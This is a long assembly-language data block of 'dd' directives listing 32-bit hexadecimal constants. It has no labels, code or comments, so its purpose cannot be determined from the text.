dd 0E129BC0Dh, 6594ABE1h, 1C498CC7h, 4B7CC32Bh, 0C7915157h
dd 869FA328h, 9F57B786h, 906489DAh, 60F1A362h, 6A6ACB87h
dd 8CF15E4h, 10F0CC1Dh, 0AFA36D04h, 0A4125B26h, 0C7291099h
dd 0EE31E62Fh, 20E26A26h, 0D42DFAFDh, 6134E6D2h, 0BAA9CCFDh
dd 1E8B5551h, 2008890Ah, 9F57C399h, 1319FDD9h, 456E75B9h
dd 12031864h, 42C5F5F9h, 2CAE4499h, 930CF151h, 0D3F8C42Dh
dd 94684BFAh, 8829379Dh, 0DD8E688Dh, 83E10EB8h, 0C2E471C0h
dd 0BA23058h, 0D131988Fh, 0C942F051h, 9D493BF5h, 0C9E7913Ch
dd 739B38A9h, 64BF7ECAh, 7E5D60Fh, 0AC52DC1Ah, 6DCDEBFAh
dd 94243F25h, 2475CD70h, 2B6177BBh, 0EE94DE3Bh, 8A7736E3h
dd 0A2C0442h, 2CAEFC91h, 27B6D5CCh, 495BF04Dh, 0F48C848Dh
dd 304C21F3h, 4E281C23h, 0CD42D3AEh, 0B780D727h, 0EAB68F65h
dd 836623F3h, 23D7CBBBh, 0CF045EFCh, 0A00DD3E3h, 8E859872h
dd 1F277684h, 9C590017h, 0EB4A7463h, 8B6E2A8Fh, 686E6143h
dd 4CD0024h, 95682DB6h, 0D0A5E1E6h, 9534895Bh, 0D89DE6FCh
dd 0DF3B4408h, 0C7C26591h, 6796A1FBh, 86C6DA9Eh, 43EA78Dh
dd 25F4B34Dh, 7851D0BBh, 0A44309F2h, 0B60C9CD2h, 998F5D65h
dd 68E6918Ch, 0B79829FBh, 2B356A4Dh, 0B816D324h, 7E9A7E36h
dd 0F79C90B3h, 98859587h, 5FCC51ADh, 0B9E713B0h, 59B0BE3h
dd 0D5CAC778h, 7FEE13CEh, 0AEE5C528h, 0B9CC1A59h, 0C8A28B34h
dd 0DD7904C5h, 0CD1DBBABh, 0FA39819Ch, 0D3559E5Dh, 0AB6088EEh
dd 3C73C149h, 560ABF9Fh, 0C8791C2Ch, 10712B3Fh, 2DC1EEFFh
dd 0C3C22285h, 634BA44Ah, 46D3F09Eh, 7FE13668h, 6AA8DF8Eh
dd 6A49C4F9h, 208B22C7h, 0F886754Ah, 3FF9D29Fh, 3DF9AC9h
dd 9143A6CAh, 6752CB26h, 2046258Ah, 31F58E91h, 8ECD6B0Bh
dd 4A7E7322h, 9AD9552Bh, 344B42AEh, 6D7F6E32h, 227AF7EFh
dd 5EF33704h, 5906909Fh, 8957C86Eh, 7C1CF0B7h, 2C07A55Fh
dd 0A8D4DD1Ah, 372815B5h, 219222D3h, 0E0761267h, 7E2A7919h
dd 42F628F5h, 3479F1ACh, 19AD3E99h, 0F2152295h, 88E8875Fh
dd 0F6403DE7h, 0D9745421h, 0DF401A0Ch, 0FCD8A5CDh, 0FE949E87h
dd 8E839C67h, 0D1D843B2h, 95A0B249h, 5B7BA234h, 72DB532Ch
dd 6C1560D7h, 8C87713Dh, 2B6C37D7h, 0A7B5213Fh, 0FC236763h
dd 0AE67ECFBh, 0B63CC3BAh, 6A57835Fh, 666A55BBh, 4D376265h
dd 9C13E79Ah, 0DF420784h, 0E6792BF2h, 0E5B7B295h, 76388F96h
dd 0A2231D03h, 3C4335A8h, 1D6E4935h, 64C1420h, 0B1F7702Ah
dd 2C64874h, 9AA56106h, 78A94117h, 0C3E0BC49h, 1A7EDD8Dh
dd 1C13FDF0h, 347FDBD3h, 0C2E9187Ch, 5A2A939Ah, 0D825FD1Bh
dd 0E0C0A61Bh, 1904456Ah, 71803C1Fh, 0ABB19A2Eh, 0E25E5780h
dd 72BE4C2h, 982CE8ECh, 0B615FCD7h, 1BDDFF0Dh, 5B41DEAFh
dd 304C2A91h, 0B0CD3FE8h, 46A3C203h, 8286B920h, 4515860Ch
dd 0B8F9FF99h, 9B84E750h, 4F24B709h, 0B4C2A696h, 0A9F0DE13h
dd 579AF5F6h, 9526F9BCh, 5DEF4539h, 2BEB6BC8h, 0FF7E498Fh
dd 7F858097h, 0E12A61BAh, 25FE8A27h, 0E7BA4A66h, 0D9153950h
dd 0F8CA03DCh, 0C79CC388h, 28423EBh, 10FB8847h, 36C24C24h
dd 29EFB340h, 347FB87h, 0A91B75E6h, 567549A5h, 7D7C2199h
dd 0B79BF887h, 0AB7E7E0Bh, 0A3C71593h, 0E7B44EB7h, 407F8ED9h
dd 0C0688650h, 0E8952776h, 8F5E7E00h, 327F741h, 9A5A732Bh
dd 988F1A9Fh, 9764882Bh, 0BE84E633h, 66575C76h, 91125987h
dd 365F8BAAh, 0FBFA6C4h, 91EE91CEh, 0CD9449CEh, 0F70F63F2h
dd 0C1E29CF2h, 0BE2646FCh, 14430270h, 0FCD12585h, 0C006CDE1h
dd 36A4F8CAh, 6FE63CE9h, 0DE9A4A9h, 0F9D4BD82h, 75179ED1h
dd 3BF331Fh, 3AB817Bh, 3D602C33h, 0C3D45542h, 9966FC14h
dd 2A87839Ah, 4986723Fh, 69B3318Eh, 276F0E76h, 0B94DCFC1h
dd 1D650AD0h, 738C5B1h, 6CED1989h, 0B16A418h, 0DC1DD8C1h
dd 0AB571594h, 0B222EF1Bh, 5D866E6h, 0DAB5475Eh, 0DD3F7DAAh
dd 0A33B5DEFh, 87F1CC11h, 0CE644FE6h, 363C7954h, 66E356BCh
dd 7FAFFB4Ah, 0D9E985D0h, 0D5AB9E36h, 298DA78Eh, 0BB603CF6h
dd 2CC07EB0h, 9DB7E115h, 0F29C6732h, 0AB4E66E8h, 0D5F33FE9h
dd 0EF4210F7h, 532E2AB9h, 924D140Ch, 5E3B7B54h, 1A3DED1Bh
dd 471659C4h, 746FF51Dh, 6B665CACh, 0BD0C9CB9h, 5A8DE60Bh
dd 0C7F738F7h, 78CB1DC9h, 29354503h, 0B19128CEh, 0CEC47CD6h
dd 977D19B4h, 8CA6A028h, 0B8F336CAh, 0AADB9EF0h, 0CECEA3D6h
dd 0B11D0CB8h, 0DA070F3Eh, 0F2074D37h, 7D2DEAC5h, 20C6735Eh
dd 6707873Ch, 298B72E9h, 29283941h, 667574C9h, 4E665233h
dd 0B70DB26Fh, 6CCC2DB7h, 2071E113h, 0C9DABC33h, 5CD03BB7h
dd 6A53E532h, 0C2C7B6B0h, 5757C5BDh, 0C47C4357h, 3BDFFA2h
dd 6FA139D5h, 0D70D90D2h, 0F5F99A09h, 3B5D58C5h, 0D0CC86F8h
dd 69DC62DDh, 5010B318h, 0D16DC302h, 8157F398h, 270E9B13h
dd 23B303EFh, 10233B51h, 0B0B8417Ah, 0CAA54D95h, 88730332h
dd 901FD182h, 8CF95E53h, 0E240B606h, 300BAC34h, 79F1766Fh
dd 0CEF36500h, 0F8E74D81h, 4E59CF52h, 0FD6C81DFh, 0EB71E4Bh
dd 4FA3183Ch, 0C4E3BBB2h, 0A805A1D4h, 0C446C7A6h, 0ECF772BBh
dd 0EA6D3BEAh, 27D53E47h, 0C04B697Fh, 0A0A26EBFh, 0CF2D2173h
dd 2CAB1E40h, 49E1FD51h, 0B7785904h, 0EFE9751Fh, 0BB4A486Eh
dd 0B7FC3A65h, 73DDE9BBh, 832312C8h, 327AC981h, 39601957h
dd 3042142Fh, 4E4E465Dh, 58D5AA58h, 1B74A7ABh, 0EE7D7DD9h
dd 6C49F859h, 0F9328924h, 0F48D2850h, 0BD99B2EFh, 0FBCC34Ah
dd 1503C067h, 0DFE4241Dh, 0AF669B2Bh, 8FBB3206h, 0BC95F9CBh
dd 0E84775E6h, 65E8C089h, 2C746491h, 6A4988BEh, 0D424EA02h
dd 0A2AF3294h, 7D9E4867h, 94509B4Dh, 75567F0Fh, 91780F24h
dd 53128A2Fh, 0F8AD0152h, 0D1ADBF11h, 32CBDFFAh, 95C3E7D1h
dd 0A2C47C9Fh, 0B3040A87h, 965D96C0h, 20B926E2h, 0B30D1D5Ah
dd 75020700h, 0FB9A5722h
dd 0BC420CCCh, 0A084E226h, 0FF41E617h, 632737F0h, 0CCEEF2B9h
dd 975DB317h, 0DF12CE53h, 4DFE053Dh, 0E072198Bh, 0F0ACC55h
dd 17F446E9h, 84735DFDh, 9BB0A43Ah, 0F256A898h, 59B55737h
dd 16FEAAF6h, 4FA4599Ah, 0F9FFF0DFh, 0D02C65F3h, 5A4AFB71h
dd 0E48EF439h, 7E8D8C3Ah, 36790BD1h, 5C4225FBh, 0E9976FE2h
dd 3E266F45h, 9454E12Dh, 0F2BD5A40h, 81D317C0h, 2F5564BDh
dd 0F2BCB1AFh, 0F0C748F6h, 0CD69B957h, 0D533AE71h, 8BB8B2B9h
dd 62643F98h, 36232D63h, 6C05C3F1h, 0AAA33538h, 0BAB52529h
dd 10E97F9h, 0CC836DA2h, 20472B5Fh, 5C6BADF2h, 0D71937Ah
dd 0D27C9F83h, 84821865h, 0A572DBBh, 0CB0286BDh, 486845D3h
dd 0C4EDC9CAh, 4FBDECC4h, 384A88D1h, 0FB4F7EC0h, 0D98B6940h
dd 986AF69Ah, 51757C4Ah, 0E5666BC2h, 0F327D395h, 0B32F8AAEh
dd 0A75FACFCh, 442F5C29h, 1290C6C7h, 0BCBB140Ch, 0CFFF1394h
dd 2B73EB04h, 3351AE9Ch, 5AE2815Dh, 7341489Eh, 6B17A9C8h
dd 2047A499h, 9B329A4h, 9C5CCD65h, 0DC069D3Fh, 0E45E8A89h
dd 0ABCCB464h, 0FA3DE4CCh, 8FAD1D9h, 0E0A78560h, 6E278039h
dd 6C9A318Ch, 922C424h, 595422CFh, 8A49CEBDh, 50C5921Ch
dd 29C19D99h, 8DF898Eh, 3EC09A7Eh, 0C72F00B5h, 43A0D3B2h
dd 0A57FDB54h, 0EBF309B7h, 0B28B3297h, 4EBB6DF4h, 35B1D2C7h
dd 1C6C29D0h, 38B1BB22h, 7211F0F3h, 26DD0367h, 0B2211D26h
dd 0AE78307Bh, 0EB55213Fh, 442E9FBEh, 5D7A2CEBh, 0C4EC39C0h
dd 0AECE056Bh, 740B0417h, 1D8D87F9h, 9A8EB62Ch, 1B6F68B6h
dd 6BD6DC6Eh, 4D8879C8h, 0C98FA1F8h, 0E3E66F43h, 4CD26B89h
dd 0E6EC6AB0h, 7DE0B634h, 0CF0884A1h, 0A39FDF00h, 0C2F13B22h
dd 0C2FADD7h, 2747CDA7h, 0D9109B88h, 346045F7h, 1DAF8F83h
dd 0C375C3F0h, 270F70D7h, 0BB1F567Dh, 7A239C98h, 0E6E8F418h
dd 548AB5E0h, 3157A491h, 23B7FB4Bh, 0BA6D7D0Fh, 0B2DB9AD7h
dd 652DE562h, 1A472A16h, 0E83C0D3h, 0CBE34E2Ch, 0ADF6CE93h
dd 0BE2EF0BAh, 3D4A96A6h, 92C698B5h, 0B9216FF0h, 329286DCh
dd 0F94D8610h, 35B60E47h, 9254462Dh, 88F38BA2h, 818DAB36h
dd 0FA47B02h, 16106A62h, 0AD100B26h, 0C6AAB023h, 997225A4h
dd 0B3B9ECC3h, 72CA531Ah, 8ED3E025h, 7136508Bh, 72916D52h
dd 9687B212h, 23FC33B2h, 975FFF71h, 1376047Ch, 891B33D8h
dd 809F6ACFh, 13BCC02Bh, 59378F14h, 9F06169Bh, 4DD6F82Fh
dd 0ADA11FF1h, 0F4D19816h, 5F4DBD43h, 4CE8C72Eh, 0EDFCDF4Ah
dd 0D78C6A2h, 5B20C5ACh, 837A76C2h, 2C9E5088h, 83B34F78h
dd 0FF5B2FAh, 0B2CF40D4h, 7A032D32h, 29605A28h, 347CE504h
dd 0BC0DE7F5h, 0F615F98Bh, 6A7D2137h, 5D31A7A9h, 0E5CCDDC7h
dd 7A0C622Ch, 5A4AC327h, 9F7C913h, 6B8F2F89h, 1F6C0E40h
dd 0C74C3BE0h, 0DAA5AF57h, 227F247Dh, 3D9749B3h, 0E32C27CCh
dd 0AC9E1ABCh, 2E346B94h, 728D074h, 0BBC0AD0Bh, 4BC4E1A4h
dd 0ABD03D60h, 859E0C43h, 5EA7D032h, 0F3A81E84h, 0EB3DEE09h
dd 4FEBC023h, 0BB82D5B8h, 5CF0FB27h, 0A351BDD8h, 0E5F30B17h
dd 49A6E3DBh, 0CB87EB08h, 0C7D7F738h, 135F10A3h, 8F3AEC11h
dd 9D6ECEFCh, 0AEF393F4h, 5A17258Bh, 0B077D00Eh, 775458Bh
dd 277A030Fh, 530605DEh, 49E2AC0Ch, 67F95F61h, 58A15E6Ch
dd 0BDCD4EC9h, 621FCD28h, 0CA735A27h, 1E320AF9h, 4291713Eh
dd 25DF7BDFh, 0F19ED7D3h, 0AEB201A4h, 3587E58Fh, 0EBB968Ch
dd 0D63F1B92h, 222FC76Bh, 48FF32C2h, 13F305CAh, 9E5ADB7h
dd 4052FB4Bh, 64D928B0h, 3CA2EED9h, 0DBF091Bh, 6A30AF72h
dd 0A450D8B5h, 32F126D6h, 0BB7C64D6h, 3D9A184Fh, 517EFF91h
dd 843893B3h, 8504F6DBh, 0DE572A5Dh, 5D6E5F64h, 0D8D4D1Eh
dd 94B37328h, 14D147A0h, 989FFB6Eh, 4963BF44h, 0EB724296h
dd 0C7AE68DEh, 92392DC0h, 0CF3175F5h, 0BB596163h, 26D87961h
dd 0A2A86E2Dh, 0EB955BCCh, 1FD129CAh, 20B4DC84h, 0A68E173Ch
dd 0CB558849h, 109FD20Ah, 38B5783Ch, 83870C8Ch, 6EFDA786h
dd 0F1212159h, 0E0EF813Eh, 0B8B77FCDh, 0C870445Ah, 0A04F35FDh
dd 7161F938h, 365715Ah, 0A58A28B7h, 8ADAEF28h, 3CAFD087h
dd 978DC44Bh, 0E4F90CE1h, 0B02CC067h, 0A2715970h, 0B7E44139h
dd 2F0F0173h, 6A733174h, 76FF3300h, 9429C61Eh, 0D5F34909h
dd 2408906Ah, 7C81BC82h, 17DDCA8Dh, 4715D9CAh, 0FC8C6DBDh
dd 0F5046E65h, 0AF572EB0h, 2C886616h, 3B86293Ah, 97116160h
dd 3E0C331Ah, 0D3407161h, 5E359246h, 93295E75h, 0F3B53F36h
dd 0A182B909h, 2EE387AFh, 9679E91Fh, 4EEDC8BCh, 0AB2819E4h
dd 0A9DEDDABh, 1346E7B4h, 42927E62h, 0AE2B2C31h, 0EDBF5799h
dd 0FA0134C2h, 214A9F72h, 170BD208h, 0D30D80C6h, 49743797h
dd 0D5CC97E3h, 0D0EC8E5Eh, 897B46DCh, 4FB736A1h, 925D11FBh
dd 0CE44A9EAh, 6A584FDh, 53CB924Fh, 69183071h, 57D23801h
dd 6962B665h, 9C0C9747h, 0C71C1BF0h, 0C7BF5F75h, 3534D226h
dd 65259368h, 7F4F7476h, 0BF158097h, 0BB3F4B49h, 12568658h
dd 50ED5022h, 0D45465BCh, 91FFD31Eh, 0A9AEB39Ah, 0EF07C471h
dd 5EF7CEC3h, 227FAA89h, 611C5439h, 592A8D12h, 4964E617h
dd 864B7FE2h, 718B7600h, 54FF40E1h, 2B92868Ah, 7D5E49B1h
dd 28FEC66Bh, 48EB1E93h, 7BD3E873h, 0C5BD1ECh, 0DC72F988h
dd 6AEDB3C3h, 0E8C79437h, 8D14CAB1h, 818856B3h, 2FB3A810h
dd 0B1FCDF0h, 0C42F4E35h, 0CBC12BBAh, 0A06D2912h, 0C4C06319h
dd 0CD2B85B6h, 766D50A5h, 5B9EAF27h, 946172E0h, 2368091Dh
dd 69DD21CAh, 9C4B9FDFh, 0A7F3DA6Ch, 2D663276h, 860403Eh
dd 0E29AD4AEh, 0F97F936h, 56B01974h, 8799569Ah, 0DBF948h
dd 39BE0ECh, 9FA36C45h, 1F5D0583h, 40F06E86h, 5BD369D9h
dd 0CED74139h, 0A7FDF859h, 4A2A0F07h, 91319F1Dh, 235560ECh
dd 826BFCE5h, 4CD71282h, 0F1DB5088h, 18CD3874h, 758D8FC0h
dd 40F4C894h, 53288A8Eh, 0B448331Bh, 0AA38CB39h, 83C8FD2Ch
dd 0D9C80294h, 16761413h, 32F5EC61h, 7A5C72C7h, 0E055D298h
dd 46ACC12Ah, 10981DA0h, 0BA4D694h, 2B4B521Eh, 0C8F45E8Ch
dd 0FFDB9B37h, 892C86C4h, 0D9FCF603h, 0CFAF514Bh, 0B99B4A73h
dd 0A21F656Ah, 0C3EDAC52h, 0C5DF0A7Eh, 62F74A32h, 0C97B3287h
dd 23DAF706h, 0AD1E7888h, 313D777Dh, 0DB4D8502h, 0E57AAAA8h
dd 0D5C0550Ch, 0DB4F7E8h, 21CC4467h, 0ECD986A0h, 54082CEh
dd 0F2206811h, 0DE8D13D7h, 0D0F11529h, 5EE45D41h, 0DB60E0C2h
dd 4633DBD6h, 10B51921h, 274F00C0h, 0CD788619h, 4E4E19B9h
dd 0C449C8C0h, 0BF3A9363h, 0D57C97E4h, 0F9857FB6h, 72501E5Dh
dd 0F0A0C22Ch, 993DCC6Eh, 0F9E9F3E2h, 84CB989h, 98C3DDB9h
dd 4279CE12h, 30A812B9h, 16D6CEF0h, 6E486F55h, 8928865Eh
dd 0D1ABD218h, 0DDF24BA0h, 34A7D0FCh, 7C7ECC11h, 0C60F2F15h
dd 7A9EAE9h, 69E9810Eh, 50A07468h, 7C7D7510h, 28038923h
dd 9E7306CEh, 350C2528h, 6CF4A75Dh, 52EE2420h, 5A47F2D9h
dd 0CED851A1h, 0C055AC30h, 6696C812h, 0DF6660C3h, 0FA4012D6h
dd 19DC4C1h, 42F4FF0Eh, 0DA09E720h, 0C8C4F233h, 9CA65333h
dd 0A8B6CBC2h, 0DEB2DC73h, 0C4265C1Bh, 0EDAFEF23h, 6C28D2A5h
dd 0F106626Ah, 3AED3778h, 19483267h, 0DC0333C0h, 6E6930EAh
dd 0FCD32E83h, 83B00DD8h, 0CB4035B2h, 3AE2C70Dh, 105028C7h
dd 6BC0BC6Ah, 0A392ACDDh
dd 0FA1DD6A6h, 0E757EE40h, 66AE092Dh, 0F7BE4FCEh, 0C4E7554Eh
dd 6960F877h, 1638C83Ch, 7FC241E0h, 0CC9EE8C5h, 1E7A8365h
dd 0ABD49E41h, 14347E66h, 39D46CE3h, 299C7256h, 0F1352681h
dd 3CD36428h, 0BED3821Dh, 0EFD37E9Ch, 7221EC9Fh, 0FF5F6D84h
dd 0F830E283h, 221C868Dh, 35F965B9h, 21D1A777h, 4E387339h
dd 97F197FCh, 2B98FD06h, 26CE3BC9h, 0F84C96A2h, 26997669h
dd 9EC921FFh, 19BA447Bh, 4E91F81h, 42B06BB7h, 0FA625626h
dd 0F0B4FCE7h, 0E05316C7h, 983DAD23h, 0A0404EE0h, 9063CDE4h
dd 9A73910Eh, 78E70D88h, 1DEAE403h, 3EAFB093h, 4A12E746h
dd 315A6384h, 18EF7174h, 51D34C82h, 0A6BCEC8Bh, 1EF41762h
dd 48192DBFh, 74BBF681h, 253D5A1Fh, 1A2013E7h, 0A00AE7D7h
dd 0E3B631ABh, 7A1C3EC6h, 0A064BFBBh, 0F3F085BDh, 0B4C09E73h
dd 637F9030h, 5E0D7B27h, 952BEEB0h, 43D4EB29h, 33274EBCh
dd 0E1340B68h, 10CDF4CCh, 0E9A33235h, 21989CFEh, 0A4D12D5Ah
dd 2D929514h, 599CD479h, 0E7795738h, 0DEF59ABFh, 9B907D26h
dd 802AFDDh, 436CFE83h, 0CF7899h, 8BF6C84Dh, 8BE03BDFh
dd 51EBF47Eh, 682F95AEh, 0F38BDBCCh, 87077EADh, 199DE22h
dd 2F60999Ch, 271965B0h, 247C1D4Dh, 0E3DB9649h, 88916498h
dd 0F992FC3Fh, 9DB508AFh, 0ACA5CD24h, 7F3BD62Eh, 0C2F2E7EBh
dd 1C758756h, 0B1488A16h, 91C61205h, 6530051Ch, 6B8E17ABh
dd 2172BA08h, 1526872Eh, 798DE0AEh, 3198B41Eh, 0E6CF6579h
dd 0C1D6CD10h, 5CB69B07h, 0E4FF8E7h, 699EF068h, 3AE37032h
dd 0A141862Dh, 0D28F0999h, 25A0E107h, 0F9F7C41Eh, 36623E55h
dd 46E24A12h, 0E821B05Ch, 0BD8000DFh, 0A70091FDh, 794049B9h
dd 0C95CE079h, 0EF287AD0h, 2EF388F1h, 52E6A5Fh, 0B4F7DDB6h
dd 0A02A1243h, 84E2A4CCh, 0DD3111C4h, 0EBAFA9C7h, 0B2873F7Ch
dd 0B65FAE36h, 3587A6D5h, 3EAE3CB1h, 44353EBAh, 0E47A5C3Eh
dd 9FD539E4h, 30D97357h, 0B0D6A345h, 0F32E9D53h, 8FF76FAFh
dd 7BA03086h, 67D8E8F7h, 930EF652h, 0B1C8775Fh, 0B5BF68ECh
dd 1EBCEA9Ah, 34C09894h, 8008677Dh, 6A7E9140h, 6BDAFC48h
dd 0D8BBB536h, 5BFFD7F6h, 0E1649E2Eh, 0B47454D6h, 32171104h
dd 8765D7D9h, 0ABA32AACh, 0A29080F8h, 0A0D3C3CBh, 749A89AAh
dd 5BEE9C34h, 3C558AE6h, 52465091h, 6DA0E68Bh, 3BF43AFAh
dd 0EBFED8EBh, 180F9EB0h, 2EC02390h, 175F0526h, 884A916Eh
dd 8CFAF14Fh, 0CD28CAC8h, 22EAAAC2h, 3C1DB641h, 0F7296231h
dd 6E907B2Ah, 2E85329Dh, 4942FD30h, 0DBCFAD7Dh, 6398BD0Ch
dd 4A4E719Ch, 0A3C5A38Bh, 77472B82h, 0DA7A61DDh, 0CA59791Ah
dd 2DFCC47h, 868193BBh, 54B9EE6Eh, 0A7EBE22h, 0CD8C5EFh
dd 4F3EFF47h, 0FAB95067h, 0CCB72C2Eh, 2F7B0CBEh, 0D5ECD90Ah
dd 13267094h, 53FD1DBAh, 0E2B63950h, 0AD1BA55Dh, 7B366BD5h
dd 80AD015Eh, 0E79306BAh, 0A09C5E00h, 2D0ED32Ch, 949A9151h
dd 4927C3B1h, 86BAC01Eh, 916788D1h, 5ABEC205h, 1EEC83C2h
dd 0E0DF1DD6h, 2FF7E69Fh, 3CE14B9Dh, 0D39A756Ah, 0B9935DE2h
dd 0DA1C44CEh, 0C90F33h, 0CD69533Dh, 13EA3244h, 0E2AAD5C1h
dd 284F6C59h, 327B072h, 79C5A3A2h, 3555F2BEh, 0B85C594h
dd 0D2EF39B2h, 866F755Eh, 0EB3CA7BDh, 705CC05Ah, 0A3DD0D2Dh
dd 0C07787DCh, 0B062E15Fh, 3B8E9563h, 82A96CF9h, 328A6D1Bh
dd 68BE0443h, 0C993E7B3h, 0B2B704BBh, 0AF46C7CCh, 0B42BE5FAh
dd 0D6E29224h, 251C24F9h, 0E52611C1h, 330D1265h, 9EEDBA4Ah
dd 688FBD47h, 0C8529A66h, 559AD48h, 0BDDBAC51h, 32FF570Eh
dd 160FE344h, 0DA23E885h, 0B1536001h, 0DFA5AD4Dh, 1394332h
dd 7378C942h, 0E260A336h, 0FFA2C599h, 0DB2A61B8h, 0EEA29E43h
dd 0DE7D5D8Fh, 0A88E80C6h, 84D80FFh, 0F5715D37h, 4C9C4694h
dd 7C382073h, 6EAC8385h, 0FEEE9EECh, 0A641CCB8h, 0A50ACB6Ah
dd 0D4389E58h, 0A5B4D220h, 8712DCD6h, 0B05C4236h, 0F2932363h
dd 1FAA575Bh, 4BDC4404h, 824C515Ah, 3ADA280Ch, 4E7925EEh
dd 7E386B8h, 2BED8AB2h, 661C1B40h, 0AF0E6774h, 29E5E232h
dd 709CAEA2h, 0B3D9099Fh, 0CB5FFE5Ch, 0DC11AEEDh, 0D9A3184Bh
dd 3594C38Fh, 0F1CDEE88h, 10CF79Bh, 2EB0D86Ah, 81F6102Ah
dd 0D864E3FEh, 28ACFF71h, 0BA78A1F2h, 99E712EDh, 0E7C0D026h
dd 8F739329h, 0C496EA31h, 7589BC7Bh, 727EF9ACh, 79F98B5Bh
dd 27B0CC12h, 24AB901Ch, 0C896BA24h, 153E3829h, 4072334Ch
dd 5C5F5A48h, 5C2E3267h, 6D8B592Ah, 0B055975Dh, 5A21859Dh
dd 7361715Dh, 6FE15885h, 0DCB5EF0Fh, 0AEB2EE6Fh, 0F91CD1C3h
dd 0AB569290h, 22B2E1D2h, 0A56A3803h, 5C6CC631h, 2EBF0C0Fh
dd 2F81B0D3h, 8F19CB4Ch, 81F319Ch, 2F842E63h, 0DCD891E0h
dd 0CD2DC987h, 8B818564h, 5AAA40h, 0E1E03EE4h, 0C99F6BCEh
dd 23D86EB1h, 0C176F24Eh, 0C406AEDEh, 1CB4D1E2h, 430BA772h
dd 991E70F9h, 37735230h, 44E096EBh, 0F45BB55h, 0FAA23385h
dd 67CB72F7h, 5AC50A54h, 0DB11D73Eh, 67BCBF1Eh, 0B3C54564h
dd 0AE311B5Dh, 0C4E33FF2h, 3915810h, 0FB2FE040h, 5EDFC94Fh
dd 158DABEAh, 0B7C69BDAh, 9014D0DDh, 0A02D3FD5h, 0E5733552h
dd 0EEAD006Fh, 20F319B4h, 0D428F2B9h, 514B4DDDh, 759703EFh
dd 0A466425Dh, 6AB2B642h, 87F847B5h, 0C1770B89h, 0D64D8141h
dd 375D02EFh, 0FB66C640h, 7508A680h, 0E059FBFFh, 922003FBh
dd 8ECDA423h, 0C8322180h, 7242501Fh, 36143AEEh, 0E2D64B0Dh
dd 679BC396h, 0C3C3B6EBh, 975482F7h, 0AD63C403h, 34945E33h
dd 0D1DF12Dh, 5655973Ah, 36BB93F5h, 5539AEF3h, 430D8264h
dd 0D259B9h, 3DBD1762h, 0E5225191h, 0D8644D8Dh, 7FFE2014h
dd 9A842EE4h, 0B8A73DB4h, 961A9BC5h, 99220F4Fh, 681CF347h
dd 0C1EECD02h, 80160073h, 0C43637C2h, 8354E767h, 0DAA5AC77h
dd 0EC0B608Dh, 86E74E04h, 819FADF0h, 5186D45Bh, 9DEE5403h
dd 0B0DB192Fh, 841481FFh, 0A75F7727h, 71B5934Fh, 0F2C289CCh
dd 84770863h, 0C8096630h, 0A2C04440h, 0DB6B89CFh, 340B4309h
dd 0A8A05F96h, 5E52B27Bh, 640B1BA4h, 1F3B90Fh, 0F2E47D0Bh
dd 80B63E1Bh, 0A4E21A7Dh, 21CEE339h, 868099C9h, 0C61851A5h
dd 0DF4DA1D1h, 3D1C3C9Fh, 0BD362DE8h, 0E8A52ECCh, 0E30B8811h
dd 0B42CE734h, 0D56113C4h, 0FDDB8130h, 0AE9349E2h, 6375DE47h
dd 0D4F04DB8h, 0DE5F627Dh, 0AF50248Eh, 0C711FC42h, 2BE36F32h
dd 0C5000047h, 71E9A14Fh, 3E47C2A0h, 0F0D928FEh, 10A003F7h
dd 4DAC7F56h, 0EEA4D980h, 92983243h, 71C09E9Dh, 0E040255Fh
dd 0B3DE61BAh, 0C7784D26h, 5FB431A9h, 0BE4702E7h, 552D83F9h
dd 47CB9DBBh, 0E18693Bh, 6C6D24B2h, 0C1A0F234h, 0E5522A8Ch
dd 0B0CAD31h, 3187B40Eh, 0CFDB5D39h, 0CA5B98Ch, 2285B745h
dd 537507FDh, 3B1937A9h, 54D7D985h, 709FD2E5h, 69847331h
dd 7BE19CE3h, 0E7496EB4h, 0FE5FCDCAh, 6F7206A8h, 0E2EC74DFh
dd 7BD08908h, 0BE8A6E4Eh, 9FEE1B9h, 0EA367B34h, 18A0BB3Ah
dd 0BCCD2A9Bh, 0D0E180C4h, 0D2FB69B8h, 97D2B088h, 0D91CB16Bh
dd 0EC698907h, 4BCF8D7Ch, 71B15E84h, 787C258Ah, 663FA7CBh
dd 0D1B5C35Dh, 42F243B3h, 8A3FEA66h, 830C3A9h, 649EEF26h
dd 0D9983DAEh, 31A92CFDh, 0AB64EDBCh, 341278C2h, 0BD3187DDh
dd 97D28603h, 74778AEBh, 0C28C798Fh, 0A772CC9Bh, 4D7CA5B8h
dd 7D2557B2h, 0F974E3CCh
dd 0A4B151CBh, 61B9D151h, 190FC6A0h, 0DDF7054Ah, 0E12F68D3h
dd 412EB5B4h, 0FD8D3538h, 0BBD28B4Dh, 158188Fh, 0F354D295h
dd 3E9AD9C2h, 1B5C120Eh, 1931A707h, 536ABCB1h, 3BBAB80Ch
dd 65DC3692h, 93E03E60h, 0D5BECFFEh, 0BBFB955h, 3E647C51h
dd 198F31Ah, 45AB5EDBh, 67480AC2h, 9B93E0DFh, 0BC341511h
dd 0CC33584Eh, 0CD961297h, 75E8510h, 85C6DAB4h, 9D6842FDh
dd 0EA9A9EFh, 7BA74BFEh, 3A7A6498h, 0E3F44DBAh, 61155E28h
dd 144AEA7Fh, 0D4711D6Ch, 8F2F4C6Dh, 0BD8D4F4Ah, 0D50753DFh
dd 9E1CE2E4h, 94D267A0h, 3D039791h, 345DA7C2h, 0CC19344Bh
dd 67E4F2F4h, 45879B51h, 4F6C152Ah, 9B56BB6h, 0D4B8F34Eh
dd 0CD876766h, 0D60EBBE6h, 0A5D31F42h, 9EE39A6Bh, 0B9FC5D25h
dd 0CCF1ECA4h, 6CA80F7Eh, 0D1233366h, 0AE74363Dh, 555A22F4h
dd 5FE752E7h, 0B797C30Ch, 7E3D8D8h, 0BE9AF277h, 585FB6D0h
dd 0C7906DBFh, 67410DA4h, 0BFA505AAh, 846CD764h, 1CAE1870h
dd 0D3566B12h, 0E8CDC8D1h, 0DAE44D6Fh, 0B1EE65A2h, 8E6FAFB3h
dd 64231C29h, 1EA76D28h, 3B097E0Fh, 70620ABFh, 3D22E11Ah
dd 0AABFDA01h, 0BCEA14B5h, 9CC91FDh, 8D74114Bh, 3BF7BB70h
dd 84575DB8h, 0A658D7A7h, 0FB8294C6h, 4EAB026Fh, 0D9BC52A6h
dd 92A549FBh, 18A7E267h, 9DF78450h, 4AF8AC5Bh, 4C48849Ch
dd 7C6E10B7h, 256F959Dh, 0EBAFD473h, 0B8E0FFBFh, 2C2AB6BAh
dd 0FF52ABE2h, 0C20F8908h, 47CEE7B7h, 0F9F6B02h, 0A36AC523h
